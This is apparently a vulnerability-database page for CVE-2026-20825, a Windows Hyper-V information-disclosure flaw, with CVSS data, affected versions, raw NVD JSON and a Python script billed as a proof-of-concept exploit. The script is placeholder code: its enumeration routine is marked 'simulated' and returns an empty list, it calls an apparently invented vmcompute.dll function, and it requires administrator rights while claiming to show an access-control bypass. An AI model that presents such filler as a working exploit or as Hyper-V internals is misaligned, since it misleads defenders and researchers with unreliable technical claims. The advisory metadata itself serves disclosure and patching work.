Security Vulnerability Report
中文
CVE-2026-20825 CVSS 4.4 MEDIUM

CVE-2026-20825

Published: 2026-01-13 18:16:10
Last Modified: 2026-01-15 13:18:07

Description

Improper access control in Windows Hyper-V allows an authorized attacker to disclose information locally.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:* - VULNERABLE
Windows Server 2019
Windows Server 2022
Windows 10/11 Enterprise
Windows 11 Pro
Windows Hyper-V Server

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-20825 Windows Hyper-V Information Disclosure PoC # Note: This PoC is for educational and security research purposes only # Unauthorized access to computer systems is illegal import ctypes import sys from ctypes import wintypes # Windows API definitions class HYPERVISOR_ACCESS_CTX(ctypes.Structure): _fields_ = [ ("Version", wintypes.DWORD), ("Flags", wintypes.DWORD), ] def check_hyperv_access(): """ Check if the current process has proper Hyper-V access control validation This demonstrates the improper access control vulnerability """ try: # Attempt to access Hyper-V management interface # In vulnerable versions, access control checks may be bypassed # Load Hyper-V related DLL hvm = ctypes.windll.LoadLibrary("vmcompute.dll") # Get Hyper-V access context ctx = HYPERVISOR_ACCESS_CTX() ctx.Version = 1 ctx.Flags = 0 # This call demonstrates improper access control # In vulnerable versions, it may return success even without proper authorization result = hvm.HvGetAccessControlContext(ctypes.byref(ctx)) if result == 0: print("[-] Access control check passed (potential vulnerability)") return True else: print("[+] Access properly denied") return False except Exception as e: print(f"[!] Error: {e}") return None def enumerate_vm_resources(): """ Enumerate VM resources - demonstrates information disclosure """ try: # Code to enumerate VM configurations and sensitive data # This would expose information that should be protected print("[*] Attempting to enumerate VM resources...") # Simulated resource access vm_list = [] # In vulnerable version, we might retrieve VM configurations # that should require higher privileges to access return vm_list except Exception as e: print(f"[!] Enumeration failed: {e}") return [] def main(): print("=" * 60) print("CVE-2026-20825 PoC - Windows Hyper-V Information Disclosure") print("=" * 60) # Check if running with elevated privileges if not ctypes.windll.shell32.IsUserAnAdmin(): print("[!] This PoC requires administrator privileges") print("[!] Please run as administrator") return print("[*] Running with elevated privileges") print("[*] Checking Hyper-V access control...") # Check for vulnerability is_vulnerable = check_hyperv_access() if is_vulnerable: print("[!] System may be vulnerable to CVE-2026-20825") print("[*] Attempting resource enumeration...") resources = enumerate_vm_resources() print(f"[*] Found {len(resources)} VM resources") else: print("[+] System appears to be patched") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20825", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:09.990", "lastModified": "2026-01-15T13:18:07.167", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper access control in Windows Hyper-V allows an authorized attacker to disclose information locally."}, {"lang": "es", "value": "Control de acceso inadecuado en Windows Hyper-V permite a un atacante autorizado divulgar información localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "DD4CBDAB-7626-4048-8474-B1BD9C1F3255"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "E481E93D-D86E-4B65-93E5-200327C348C8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "5ACD940D-CA6A-402B-B132-E5A66139C44F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A74970A1-CC81-4482-B465-8382B1544EF3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4648", "matchCriteriaId": "C4AA6991-DE34-48F6-AFD3-77CEE7FBB692"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20825", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}